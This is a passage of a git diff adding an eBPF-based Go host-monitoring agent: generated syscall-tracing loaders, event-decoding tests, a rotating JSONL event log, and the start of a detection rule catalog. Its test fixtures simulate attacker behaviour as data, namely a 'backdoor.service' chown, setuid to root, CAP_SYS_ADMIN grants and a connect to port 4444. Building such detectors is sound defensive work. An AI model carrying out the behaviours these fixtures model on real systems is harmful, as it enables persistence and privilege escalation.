*ebpf.Map `ebpf:"pending_returns"` + SyscallEvents *ebpf.Map `ebpf:"syscall_events"` +} + +func (m *syscallMaps) Close() error { + return _SyscallClose( + m.MonitoredHostComms, + m.MonitoredSyscalls, + m.PendingReturns, + m.SyscallEvents, + ) +} + +// syscallVariables contains all global variables after they have been loaded into the kernel. +// +// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign. +type syscallVariables struct { +} + +// syscallPrograms contains all programs after they have been loaded into the kernel. +// +// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign. +type syscallPrograms struct { + TraceSysEnter *ebpf.Program `ebpf:"trace_sys_enter"` + TraceSysExit *ebpf.Program `ebpf:"trace_sys_exit"` +} + +func (p *syscallPrograms) Close() error { + return _SyscallClose( + p.TraceSysEnter, + p.TraceSysExit, + ) +} + +func _SyscallClose(closers ...io.Closer) error { + for _, closer := range closers { + if err := closer.Close(); err != nil { + return err + } + } + return nil +} + +// Do not access this directly. +// +//go:embed syscall_bpfeb.o +var _SyscallBytes []byte diff --git a/go-agent/internal/ebpfsource/syscall_bpfeb.o b/go-agent/internal/ebpfsource/syscall_bpfeb.o new file mode 100644 index 0000000..f00dd8b Binary files /dev/null and b/go-agent/internal/ebpfsource/syscall_bpfeb.o differ diff --git a/go-agent/internal/ebpfsource/syscall_bpfel.go b/go-agent/internal/ebpfsource/syscall_bpfel.go new file mode 100644 index 0000000..519222a --- /dev/null +++ b/go-agent/internal/ebpfsource/syscall_bpfel.go @@ -0,0 +1,157 @@ +// Code generated by bpf2go; DO NOT EDIT. +//go:build 386 || amd64 || arm || arm64 || loong64 || mips64le || mipsle || ppc64le || riscv64 || wasm + +package ebpfsource + +import ( + "bytes" + _ "embed" + "fmt" + "io" + + "github.com/cilium/ebpf" +) + +// Names of all BPF objects in the ELF. +// +// Used for safe lookups in a Collection or CollectionSpec. +const ( + syscallMapMonitoredHostComms = "monitored_host_comms" + syscallMapMonitoredSyscalls = "monitored_syscalls" + syscallMapPendingReturns = "pending_returns" + syscallMapSyscallEvents = "syscall_events" + syscallProgTraceSysEnter = "trace_sys_enter" + syscallProgTraceSysExit = "trace_sys_exit" +) + +// loadSyscall returns the embedded CollectionSpec for syscall. +func loadSyscall() (*ebpf.CollectionSpec, error) { + reader := bytes.NewReader(_SyscallBytes) + spec, err := ebpf.LoadCollectionSpecFromReader(reader) + if err != nil { + return nil, fmt.Errorf("can't load syscall: %w", err) + } + + return spec, err +} + +// loadSyscallObjects loads syscall and converts it into a struct. +// +// The following types are suitable as obj argument: +// +// *syscallObjects +// *syscallPrograms +// *syscallMaps +// +// See ebpf.CollectionSpec.LoadAndAssign documentation for details. +func loadSyscallObjects(obj any, opts *ebpf.CollectionOptions) error { + spec, err := loadSyscall() + if err != nil { + return err + } + + return spec.LoadAndAssign(obj, opts) +} + +// syscallSpecs contains maps and programs before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type syscallSpecs struct { + syscallProgramSpecs + syscallMapSpecs + syscallVariableSpecs +} + +// syscallProgramSpecs contains programs before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type syscallProgramSpecs struct { + TraceSysEnter *ebpf.ProgramSpec `ebpf:"trace_sys_enter"` + TraceSysExit *ebpf.ProgramSpec `ebpf:"trace_sys_exit"` +} + +// syscallMapSpecs contains maps before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type syscallMapSpecs struct { + MonitoredHostComms *ebpf.MapSpec `ebpf:"monitored_host_comms"` + MonitoredSyscalls *ebpf.MapSpec `ebpf:"monitored_syscalls"` + PendingReturns *ebpf.MapSpec `ebpf:"pending_returns"` + SyscallEvents *ebpf.MapSpec `ebpf:"syscall_events"` +} + +// syscallVariableSpecs contains global variables before they are loaded into the kernel. +// +// It can be passed ebpf.CollectionSpec.Assign. +type syscallVariableSpecs struct { +} + +// syscallObjects contains all objects after they have been loaded into the kernel. +// +// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign. +type syscallObjects struct { + syscallPrograms + syscallMaps + syscallVariables +} + +func (o *syscallObjects) Close() error { + return _SyscallClose( + &o.syscallPrograms, + &o.syscallMaps, + ) +} + +// syscallMaps contains all maps after they have been loaded into the kernel. +// +// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign. +type syscallMaps struct { + MonitoredHostComms *ebpf.Map `ebpf:"monitored_host_comms"` + MonitoredSyscalls *ebpf.Map `ebpf:"monitored_syscalls"` + PendingReturns *ebpf.Map `ebpf:"pending_returns"` + SyscallEvents *ebpf.Map `ebpf:"syscall_events"` +} + +func (m *syscallMaps) Close() error { + return _SyscallClose( + m.MonitoredHostComms, + m.MonitoredSyscalls, + m.PendingReturns, + m.SyscallEvents, + ) +} + +// syscallVariables contains all global variables after they have been loaded into the kernel. +// +// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign. +type syscallVariables struct { +} + +// syscallPrograms contains all programs after they have been loaded into the kernel. +// +// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign. +type syscallPrograms struct { + TraceSysEnter *ebpf.Program `ebpf:"trace_sys_enter"` + TraceSysExit *ebpf.Program `ebpf:"trace_sys_exit"` +} + +func (p *syscallPrograms) Close() error { + return _SyscallClose( + p.TraceSysEnter, + p.TraceSysExit, + ) +} + +func _SyscallClose(closers ...io.Closer) error { + for _, closer := range closers { + if err := closer.Close(); err != nil { + return err + } + } + return nil +} + +// Do not access this directly. +// +//go:embed syscall_bpfel.o +var _SyscallBytes []byte diff --git a/go-agent/internal/ebpfsource/syscall_bpfel.o b/go-agent/internal/ebpfsource/syscall_bpfel.o new file mode 100644 index 0000000..285871f Binary files /dev/null and b/go-agent/internal/ebpfsource/syscall_bpfel.o differ diff --git a/go-agent/internal/ebpfsource/syscall_test.go b/go-agent/internal/ebpfsource/syscall_test.go new file mode 100644 index 0000000..117be1d --- /dev/null +++ b/go-agent/internal/ebpfsource/syscall_test.go @@ -0,0 +1,256 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package ebpfsource + +import ( + "bytes" + "encoding/binary" + "os" + "path/filepath" + "slices" + "testing" + + "golang.org/x/sys/unix" +) + +func TestDecodeSyscallSample(t *testing.T) { + raw := syscallEventRaw{ + PID: 42, PPID: 7, UID: 1000, SyscallID: syscallMprotect, + Args: [6]uint64{0x1000, 0x2000, 0x6}, + } + copyCString(raw.Comm[:], "dropper") + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + + event, err := decodeSyscallSample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + if event.PID != 42 || event.PPID != 7 || event.UID != 1000 || + event.Comm != "dropper" || event.Syscall != "mprotect" || event.Args[2] != 0x6 { + t.Fatalf("unexpected event: %#v", event) + } +} + +func TestDecodeSyscallSampleRejectsUnknownIDAndSize(t *testing.T) { + if _, err := decodeSyscallSample([]byte{1}); err == nil { + t.Fatal("expected size error") + } + raw := syscallEventRaw{SyscallID: 99} + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + if _, err := decodeSyscallSample(sample.Bytes()); err == nil { + t.Fatal("expected unknown ID error") + } +} + +func TestDecodeSecuritySampleProducesTypedHostTransition(t *testing.T) { + raw := syscallEventRaw{ + PID: 42, PPID: 7, UID: 1000, SyscallID: hostSetuid, + Args: [6]uint64{0}, + } + copyCString(raw.Comm[:], "python3") + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + securityEvent, err := decodeSecuritySample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + if securityEvent.Syscall != nil || securityEvent.Host == nil || + securityEvent.Host.Event != "setuid" || securityEvent.Host.TargetUID != 0 || + securityEvent.Host.TargetGID != -1 || securityEvent.Host.Comm != "python3" { + t.Fatalf("unexpected security event: %#v", securityEvent) + } +} + +func TestDecodeSecuritySampleProducesPermissionChange(t *testing.T) { + raw := syscallEventRaw{ + PID: 42, PPID: 7, UID: 1000, SyscallID: hostFchownat, + Args: [6]uint64{0, 0}, + } + copyCString(raw.Comm[:], "python3") + copyCString(raw.Text[:], "/etc/systemd/system/backdoor.service") + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + securityEvent, err := decodeSecuritySample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + if securityEvent.Host == nil || securityEvent.Host.Event != "chown" || + securityEvent.Host.Path != "/etc/systemd/system/backdoor.service" || + securityEvent.Host.TargetUID != 0 || securityEvent.Host.TargetGID != 0 { + t.Fatalf("unexpected security event: %#v", securityEvent) + } +} + +func TestDecodeSecuritySampleProducesCapabilities(t *testing.T) { + raw := syscallEventRaw{ + PID: 42, PPID: 7, UID: 1000, SyscallID: hostCapset, + Args: [6]uint64{(1 << 2) | (1 << 21)}, + } + copyCString(raw.Comm[:], "python3") + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + securityEvent, err := decodeSecuritySample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + want := []string{"CAP_DAC_READ_SEARCH", "CAP_SYS_ADMIN"} + if securityEvent.Host == nil || securityEvent.Host.Event != "capset" || + !slices.Equal(securityEvent.Host.Capabilities, want) { + t.Fatalf("unexpected security event: %#v", securityEvent) + } +} + +func TestDecodeSecuritySampleProducesModuleLoad(t *testing.T) { + raw := syscallEventRaw{ + PID: 42, PPID: 7, UID: 0, SyscallID: hostFinitModule, + Args: [6]uint64{5}, + } + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + securityEvent, err := decodeSecuritySample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + if securityEvent.Host == nil || securityEvent.Host.Event != "module_load" || securityEvent.pathDirFD != 5 { + t.Fatalf("unexpected security event: %#v", securityEvent) + } +} + +func TestDecodeSecuritySampleProducesFileWrite(t *testing.T) { + raw := syscallEventRaw{ + PID: 42, PPID: 7, UID: 1000, SyscallID: hostFileWrite, + Args: [6]uint64{5, 128}, + } + copyCString(raw.Comm[:], "python3") + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + securityEvent, err := decodeSecuritySample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + if securityEvent.Host == nil || securityEvent.Host.Event != "file_write" || + securityEvent.Host.Comm != "python3" || securityEvent.pathDirFD != 5 { + t.Fatalf("unexpected security event: %#v", securityEvent) + } +} + +func TestDecodeSecuritySampleProducesNetworkEvents(t *testing.T) { + raw := syscallEventRaw{ + PID: 42, PPID: 7, UID: 1000, SyscallID: hostTCPConnect, + Args: [6]uint64{unix.AF_INET, 4444, 0, 5}, + } + copyCString(raw.Comm[:], "python3") + address := []byte{8, 8, 8, 8} + raw.Args[2] = uint64(binary.NativeEndian.Uint32(address)) + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + securityEvent, err := decodeSecuritySample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + if securityEvent.Host == nil || securityEvent.Host.Event != "tcp_connect" || + securityEvent.Host.PeerIP != "8.8.8.8" || securityEvent.Host.PeerPort != 4444 || + securityEvent.pathDirFD != 5 { + t.Fatalf("unexpected network event: %#v", securityEvent) + } +} + +func TestDecodeSecuritySampleProducesAccept(t *testing.T) { + raw := syscallEventRaw{ + PID: 42, PPID: 7, UID: 1000, SyscallID: hostAccept4, + Args: [6]uint64{0, 0, 0, 6}, + } + copyCString(raw.Comm[:], "python3") + var sample bytes.Buffer + if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil { + t.Fatal(err) + } + securityEvent, err := decodeSecuritySample(sample.Bytes()) + if err != nil { + t.Fatal(err) + } + if securityEvent.Host == nil || securityEvent.Host.Event != "accept" || securityEvent.pathDirFD != 6 { + t.Fatalf("unexpected accept event: %#v", securityEvent) + } +} + +func TestMonitoredSyscallsUsesPlatformConstants(t *testing.T) { + numbers := monitoredSyscalls() + if len(numbers) != 26+len(legacyPermissionSyscalls())+len(legacyNetworkSyscalls()) || + numbers[unix.SYS_MEMFD_CREATE] != syscallMemfdCreate || + numbers[unix.SYS_MPROTECT] != syscallMprotect || numbers[unix.SYS_SETUID] != hostSetuid { + t.Fatalf("unexpected syscall map: %#v", numbers) + } + for _, number := range []uint64{ + unix.SYS_WRITE, unix.SYS_WRITEV, unix.SYS_PWRITE64, + unix.SYS_PWRITEV, unix.SYS_PWRITEV2, + } { + if numbers[number] != hostFileWrite { + t.Fatalf("write syscall %d maps to %d", number, numbers[number]) + } + } +} + +func TestResolveProcessPath(t *testing.T) { + procRoot := t.TempDir() + processDir := filepath.Join(procRoot, "42") + if err := os.Mkdir(processDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink("/etc/systemd", filepath.Join(processDir, "cwd")); err != nil { + t.Fatal(err) + } + if err := os.Mkdir(filepath.Join(processDir, "fd"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink("/etc", filepath.Join(processDir, "fd", "5")); err != nil { + t.Fatal(err) + } + if err := os.Symlink("socket:[12345]", filepath.Join(processDir, "fd", "6")); err != nil { + t.Fatal(err) + } + if err := os.Mkdir(filepath.Join(procRoot, "net"), 0o755); err != nil { + t.Fatal(err) + } + tcpTable := "sl local remote st tx rx tr tm retr uid timeout inode\n0: 0100007F:1F90 08080808:115C 01 0 0 0 0 0 12345\n" + if err := os.WriteFile(filepath.Join(procRoot, "net", "tcp"), []byte(tcpTable), 0o600); err != nil { + t.Fatal(err) + } + if got := resolveProcessPath(procRoot, 42, -100, "system/agent.service"); got != "/etc/systemd/system/agent.service" { + t.Fatalf("resolved path=%q", got) + } + if got := resolveProcessPath(procRoot, 42, 5, "cron.d/agent"); got != "/etc/cron.d/agent" { + t.Fatalf("dirfd-resolved path=%q", got) + } + if got := resolveProcessFD(procRoot, 42, 5); got != "/etc" { + t.Fatalf("fd-resolved path=%q", got) + } + if !isTCPSocket(procRoot, 42, 6) || isTCPSocket(procRoot, 42, 5) { + t.Fatal("TCP socket classification mismatch") + } + local, peer, ok := lookupTCPSocket(procRoot, 42, 6) + if !ok || local.IP != "127.0.0.1" || local.Port != 8080 || peer.IP != "8.8.8.8" || peer.Port != 4444 { + t.Fatalf("unexpected endpoints: local=%#v peer=%#v ok=%v", local, peer, ok) + } + if got := resolveProcessPath(procRoot, 99, -100, "relative"); got != "relative" { + t.Fatalf("unresolved path=%q", got) + } +} diff --git a/go-agent/internal/ebpfsource/syscalls_amd64.go b/go-agent/internal/ebpfsource/syscalls_amd64.go new file mode 100644 index 0000000..524ebdf --- /dev/null +++ b/go-agent/internal/ebpfsource/syscalls_amd64.go @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +//go:build amd64 + +package ebpfsource + +import "golang.org/x/sys/unix" + +func legacyPermissionSyscalls() map[uint64]uint32 { + return map[uint64]uint32{ + unix.SYS_CHMOD: hostChmod, + unix.SYS_CHOWN: hostChown, + unix.SYS_LCHOWN: hostLchown, + } +} + +func legacyNetworkSyscalls() map[uint64]uint32 { + return map[uint64]uint32{unix.SYS_ACCEPT: hostAccept} +} diff --git a/go-agent/internal/ebpfsource/syscalls_other.go b/go-agent/internal/ebpfsource/syscalls_other.go new file mode 100644 index 0000000..a868b55 --- /dev/null +++ b/go-agent/internal/ebpfsource/syscalls_other.go @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +//go:build !amd64 + +package ebpfsource + +func legacyPermissionSyscalls() map[uint64]uint32 { + return nil +} + +func legacyNetworkSyscalls() map[uint64]uint32 { + return nil +} diff --git a/go-agent/internal/eventlog/read.go b/go-agent/internal/eventlog/read.go new file mode 100644 index 0000000..1ac7e7d --- /dev/null +++ b/go-agent/internal/eventlog/read.go @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package eventlog + +import ( + "bufio" + "encoding/json" + "fmt" + "os" +) + +const maxRecordBytes = 1 << 20 + +// ReadRecent returns at most limit records in chronological order, reading the +// older rotated segment before the active file. Every returned row is valid +// JSON; corruption is reported instead of passed to an operator as evidence. +func ReadRecent(path string, limit int) ([][]byte, error) { + if path == "" { + return nil, fmt.Errorf("event log path is required") + } + if limit <= 0 { + return nil, fmt.Errorf("event limit must be positive") + } + buffer := recentBuffer{limit: limit} + if _, err := os.Stat(path + ".1"); err == nil { + if err := scanRecords(path+".1", buffer.add); err != nil { + return nil, err + } + } else if !os.IsNotExist(err) { + return nil, fmt.Errorf("stat rotated event log: %w", err) + } + if err := scanRecords(path, buffer.add); err != nil { + return nil, err + } + return buffer.values(), nil +} + +func scanRecords(path string, consume func([]byte)) error { + file, err := os.Open(path) + if err != nil { + return fmt.Errorf("open event log %s: %w", path, err) + } + defer file.Close() + scanner := bufio.NewScanner(file) + scanner.Buffer(make([]byte, 64*1024), maxRecordBytes) + line := 0 + for scanner.Scan() { + line++ + raw := scanner.Bytes() + if len(raw) == 0 { + continue + } + if !json.Valid(raw) { + return fmt.Errorf("invalid JSON in %s at line %d", path, line) + } + consume(append([]byte(nil), raw...)) + } + if err := scanner.Err(); err != nil { + return fmt.Errorf("read event log %s: %w", path, err) + } + return nil +} + +type recentBuffer struct { + limit int + rows [][]byte + next int +} + +func (b *recentBuffer) add(raw []byte) { + if len(b.rows) < b.limit { + b.rows = append(b.rows, raw) + return + } + b.rows[b.next] = raw + b.next = (b.next + 1) % b.limit +} + +func (b *recentBuffer) values() [][]byte { + if len(b.rows) < b.limit || b.next == 0 { + return b.rows + } + result := make([][]byte, 0, len(b.rows)) + result = append(result, b.rows[b.next:]...) + result = append(result, b.rows[:b.next]...) + return result +} diff --git a/go-agent/internal/eventlog/read_test.go b/go-agent/internal/eventlog/read_test.go new file mode 100644 index 0000000..c6f495c --- /dev/null +++ b/go-agent/internal/eventlog/read_test.go @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package eventlog + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" +) + +func TestReadRecentSpansRotationInChronologicalOrder(t *testing.T) { + path := filepath.Join(t.TempDir(), "events.jsonl") + writeLines(t, path+".1", 1, 2, 3) + writeLines(t, path, 4, 5) + rows, err := ReadRecent(path, 3) + if err != nil { + t.Fatal(err) + } + if got := rowSequences(t, rows); len(got) != 3 || got[0] != 3 || got[1] != 4 || got[2] != 5 { + t.Fatalf("sequences=%v", got) + } +} + +func TestReadRecentReturnsAllWhenUnderLimit(t *testing.T) { + path := filepath.Join(t.TempDir(), "events.jsonl") + writeLines(t, path, 7, 8) + rows, err := ReadRecent(path, 10) + if err != nil { + t.Fatal(err) + } + if got := rowSequences(t, rows); len(got) != 2 || got[0] != 7 || got[1] != 8 { + t.Fatalf("sequences=%v", got) + } +} + +func TestReadRecentRejectsCorruptionAndInvalidArguments(t *testing.T) { + path := filepath.Join(t.TempDir(), "events.jsonl") + if err := os.WriteFile(path, []byte("{not-json}\n"), 0o600); err != nil { + t.Fatal(err) + } + if _, err := ReadRecent(path, 1); err == nil { + t.Fatal("corrupt log accepted") + } + if _, err := ReadRecent("", 1); err == nil { + t.Fatal("empty path accepted") + } + if _, err := ReadRecent(path, 0); err == nil { + t.Fatal("zero limit accepted") + } +} + +func writeLines(t *testing.T, path string, sequences ...int) { + t.Helper() + file, err := os.Create(path) + if err != nil { + t.Fatal(err) + } + defer file.Close() + encoder := json.NewEncoder(file) + for _, sequence := range sequences { + if err := encoder.Encode(map[string]any{"sequence": sequence}); err != nil { + t.Fatal(err) + } + } +} + +func rowSequences(t *testing.T, rows [][]byte) []int { + t.Helper() + result := make([]int, 0, len(rows)) + for _, row := range rows { + var record struct { + Sequence int `json:"sequence"` + } + if err := json.Unmarshal(row, &record); err != nil { + t.Fatal(err) + } + result = append(result, record.Sequence) + } + return result +} diff --git a/go-agent/internal/eventlog/writer.go b/go-agent/internal/eventlog/writer.go new file mode 100644 index 0000000..7647dbe --- /dev/null +++ b/go-agent/internal/eventlog/writer.go @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +// Package eventlog retains a bounded JSONL copy of emitted event envelopes. +package eventlog + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "sync" +) + +// Writer appends records to Path and keeps one rotated segment at Path + ".1". +type Writer struct { + Path string + MaxBytes int64 + + mu sync.Mutex +} + +// New preflights the parent directory and destination permissions. A service +// can call it before signaling readiness so a broken retention path fails the +// start instead of silently dropping records. +func New(path string, maxBytes int64) (*Writer, error) { + if path == "" { + return nil, fmt.Errorf("event log path is required") + } + if maxBytes <= 0 { + return nil, fmt.Errorf("event log max bytes must be positive") + } + if err := os.MkdirAll(filepath.Dir(path), 0o750); err != nil { + return nil, fmt.Errorf("create event log directory: %w", err) + } + file, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) + if err != nil { + return nil, fmt.Errorf("open event log: %w", err) + } + if err := file.Chmod(0o600); err != nil { + file.Close() + return nil, fmt.Errorf("protect event log: %w", err) + } + if err := file.Close(); err != nil { + return nil, fmt.Errorf("close event log: %w", err) + } + return &Writer{Path: path, MaxBytes: maxBytes}, nil +} + +// Append writes exactly one JSON record. Alert and incident records are synced +// before success is reported; routine status records rely on normal kernel +// writeback to avoid forcing a disk flush every sweep. +func (w *Writer) Append(record map[string]any) error { + if w == nil { + return fmt.Errorf("event log writer is required") + } + raw, err := json.Marshal(record) + if err != nil { + return fmt.Errorf("encode event log record: %w", err) + } + raw = append(raw, '\n') + if len(raw) > maxRecordBytes { + return fmt.Errorf("event log record exceeds %d bytes", maxRecordBytes) + } + + w.mu.Lock() + defer w.mu.Unlock() + if err := w.rotateBefore(int64(len(raw))); err != nil { + return err + } + file, err := os.OpenFile(w.Path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) + if err != nil { + return fmt.Errorf("open event log: %w", err) + } + if err := file.Chmod(0o600); err != nil { + file.Close() + return fmt.Errorf("protect event log: %w", err) + } + if _, err := file.Write(raw); err != nil { + file.Close() + return fmt.Errorf("append event log: %w", err) + } + if eventType, _ := record["event_type"].(string); eventType != "status" { + if err := file.Sync(); err != nil { + file.Close() + return fmt.Errorf("sync event log: %w", err) + } + } + if err := file.Close(); err != nil { + return fmt.Errorf("close event log: %w", err) + } + return nil +} + +func (w *Writer) rotateBefore(incoming int64) error { + info, err := os.Stat(w.Path) + if os.IsNotExist(err) { + return nil + } + if err != nil { + return fmt.Errorf("stat event log: %w", err) + } + // Always allow one record into an empty file, even when that individual + // envelope is larger than the configured bound. + if info.Size() == 0 || info.Size()+incoming <= w.MaxBytes { + return nil + } + if err := os.Rename(w.Path, w.Path+".1"); err != nil { + return fmt.Errorf("rotate event log: %w", err) + } + return nil +} diff --git a/go-agent/internal/eventlog/writer_test.go b/go-agent/internal/eventlog/writer_test.go new file mode 100644 index 0000000..6c6f6f7 --- /dev/null +++ b/go-agent/internal/eventlog/writer_test.go @@ -0,0 +1,131 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package eventlog + +import ( + "bufio" + "encoding/json" + "os" + "path/filepath" + "sync" + "testing" +) + +func TestWriterAppendsJSONLWithPrivatePermissions(t *testing.T) { + path := filepath.Join(t.TempDir(), "state", "events.jsonl") + writer, err := New(path, 1<<20) + if err != nil { + t.Fatal(err) + } + for _, record := range []map[string]any{ + {"event_type": "status", "sequence": 1}, + {"event_type": "alert", "sequence": 2}, + } { + if err := writer.Append(record); err != nil { + t.Fatal(err) + } + } + rows := readRows(t, path) + if len(rows) != 2 || rows[0]["sequence"] != float64(1) || rows[1]["sequence"] != float64(2) { + t.Fatalf("rows=%#v", rows) + } + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + if got := info.Mode().Perm(); got != 0o600 { + t.Fatalf("mode=%#o", got) + } +} + +func TestWriterRotatesBeforeCrossingBound(t *testing.T) { + directory := t.TempDir() + path := filepath.Join(directory, "events.jsonl") + first := map[string]any{"event_type": "status", "marker": "first"} + encoded, err := json.Marshal(first) + if err != nil { + t.Fatal(err) + } + writer, err := New(path, int64(len(encoded)+1)) + if err != nil { + t.Fatal(err) + } + if err := writer.Append(first); err != nil { + t.Fatal(err) + } + if err := writer.Append(map[string]any{"event_type": "alert", "marker": "second"}); err != nil { + t.Fatal(err) + } + current := readRows(t, path) + rotated := readRows(t, path+".1") + if len(current) != 1 || current[0]["marker"] != "second" { + t.Fatalf("current=%#v", current) + } + if len(rotated) != 1 || rotated[0]["marker"] != "first" { + t.Fatalf("rotated=%#v", rotated) + } +} + +func TestWriterSerializesConcurrentAppends(t *testing.T) { + path := filepath.Join(t.TempDir(), "events.jsonl") + writer, err := New(path, 1<<20) + if err != nil { + t.Fatal(err) + } + var wait sync.WaitGroup + for index := range 32 { + wait.Add(1) + go func() { + defer wait.Done() + if err := writer.Append(map[string]any{"event_type": "status", "sequence": index}); err != nil { + t.Errorf("append: %v", err) + } + }() + } + wait.Wait() + if rows := readRows(t, path); len(rows) != 32 { + t.Fatalf("row count=%d", len(rows)) + } +} + +func TestNewRejectsInvalidConfiguration(t *testing.T) { + if _, err := New("", 100); err == nil { + t.Fatal("empty path accepted") + } + if _, err := New(filepath.Join(t.TempDir(), "events.jsonl"), 0); err == nil { + t.Fatal("zero bound accepted") + } +} + +func TestWriterRejectsRecordLargerThanReaderLimit(t *testing.T) { + path := filepath.Join(t.TempDir(), "events.jsonl") + writer, err := New(path, 2<<20) + if err != nil { + t.Fatal(err) + } + if err := writer.Append(map[string]any{"event_type": "alert", "payload": make([]byte, maxRecordBytes)}); err == nil { + t.Fatal("oversized record accepted") + } +} + +func readRows(t *testing.T, path string) []map[string]any { + t.Helper() + file, err := os.Open(path) + if err != nil { + t.Fatal(err) + } + defer file.Close() + var rows []map[string]any + scanner := bufio.NewScanner(file) + for scanner.Scan() { + var row map[string]any + if err := json.Unmarshal(scanner.Bytes(), &row); err != nil { + t.Fatal(err) + } + rows = append(rows, row) + } + if err := scanner.Err(); err != nil { + t.Fatal(err) + } + return rows +} diff --git a/go-agent/internal/events/catalog.go b/go-agent/internal/events/catalog.go new file mode 100644 index 0000000..ec62655 --- /dev/null +++ b/go-agent/internal/events/catalog.go @@ -0,0 +1,141 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package events + +import ( + "sort" + "strings" +) + +// RuleCatalog returns the stable operator-facing metadata currently exposed by +// Python ruleops.list_rules. Conditions remain data, so auditors can inspect +// what the binary will match without reading Go source or loading eBPF. +func RuleCatalog(execRules ExecRuleEngine) []map[string]any { + builtinExec := map[int]bool{100001: true, 100002: true, 100003: true, 100004: true} + records := make([]map[string]any, 0, + len(execRules.Rules)+len(DefaultSyscallRuleEngine().Rules)+len(DefaultHostRuleEngine().Rules)) + for _, rule := range execRules.Rules { + origin := "configured" + if builtinExec[rule.SID] { + origin = "builtin" + } + conditions := map[string]any{} + if len(rule.PathPrefixes) > 0 { + conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...) + } + if len(rule.ExecComms) > 0 { + conditions["exec_comm"] = sortedStringKeys(rule.ExecComms) + } + if len(rule.ParentComms) > 0 { + conditions["parent_comm"] = sortedStringKeys(rule.ParentComms) + } + if rule.ArgvRegex != "" { + conditions["argv_regex"] = rule.ArgvRegex + } + if len(rule.ParentExclude) > 0 { + conditions["parent_exclude"] = sortedStringKeys(rule.ParentExclude) + } + records = append(records, map[string]any{ + "sid": rule.SID, "event": "exec", "origin": origin, + "severity": rule.Severity, "classtype": rule.Classtype, + "signature": "exec_rule." + rule.Classtype, + "msg": rule.Message, "conditions": conditions, + }) + } + for _, rule := range DefaultSyscallRuleEngine().Rules { + records = append(records, map[string]any{ + "sid": rule.SID, "event": "syscall", "origin": "builtin", + "severity": rule.Severity, "classtype": rule.Classtype, + "signature": "syscall_rule." + rule.Classtype, + "msg": rule.Message, + "conditions": map[string]any{ + "syscalls": sortedStringKeys(rule.Syscalls), + "predicate": "built-in predicate", + }, + }) + } + for _, rule := range DefaultHostRuleEngine().Rules { + conditions := map[string]any{"events": sortedStringKeys(rule.Events)} + if len(rule.Comms) > 0 { + conditions["comm"] = sortedStringKeys(rule.Comms) + } + if len(rule.ParentComms) > 0 { + conditions["parent_comm"] = sortedStringKeys(rule.ParentComms) + } + if rule.PeerPublic != nil { + conditions["peer_public"] = *rule.PeerPublic + } + if len(rule.PeerPorts) > 0 { + conditions["peer_ports"] = sortedIntKeys(rule.PeerPorts) + } + if len(rule.PeerPortExclude) > 0 { + conditions["peer_port_exclude"] = sortedIntKeys(rule.PeerPortExclude) + } + if len(rule.LocalPorts) > 0 { + conditions["local_ports"] = sortedIntKeys(rule.LocalPorts) + } + if len(rule.LocalPortExclude) > 0 { + conditions["local_port_exclude"] = sortedIntKeys(rule.LocalPortExclude) + } + if len(rule.PathPrefixes) > 0 { + conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...) + } + if len(rule.TargetUIDs) > 0 { + conditions["target_uids"] = sortedIntKeys(rule.TargetUIDs) + } + if len(rule.TargetGIDs) > 0 { + conditions["target_gids"] = sortedIntKeys(rule.TargetGIDs) + } + if len(rule.CapabilitiesAny) > 0 { + conditions["capabilities_any"] = sortedStringKeys(rule.CapabilitiesAny) + } + if len(rule.ModuleNames) > 0 { + conditions["module_names"] = sortedStringKeys(rule.ModuleNames) + } + if rule.ArgvRegex != "" { + conditions["argv_regex"] = rule.ArgvRegex + } + eventTypes := sortedStringKeys(rule.Events) + records = append(records, map[string]any{ + "sid": 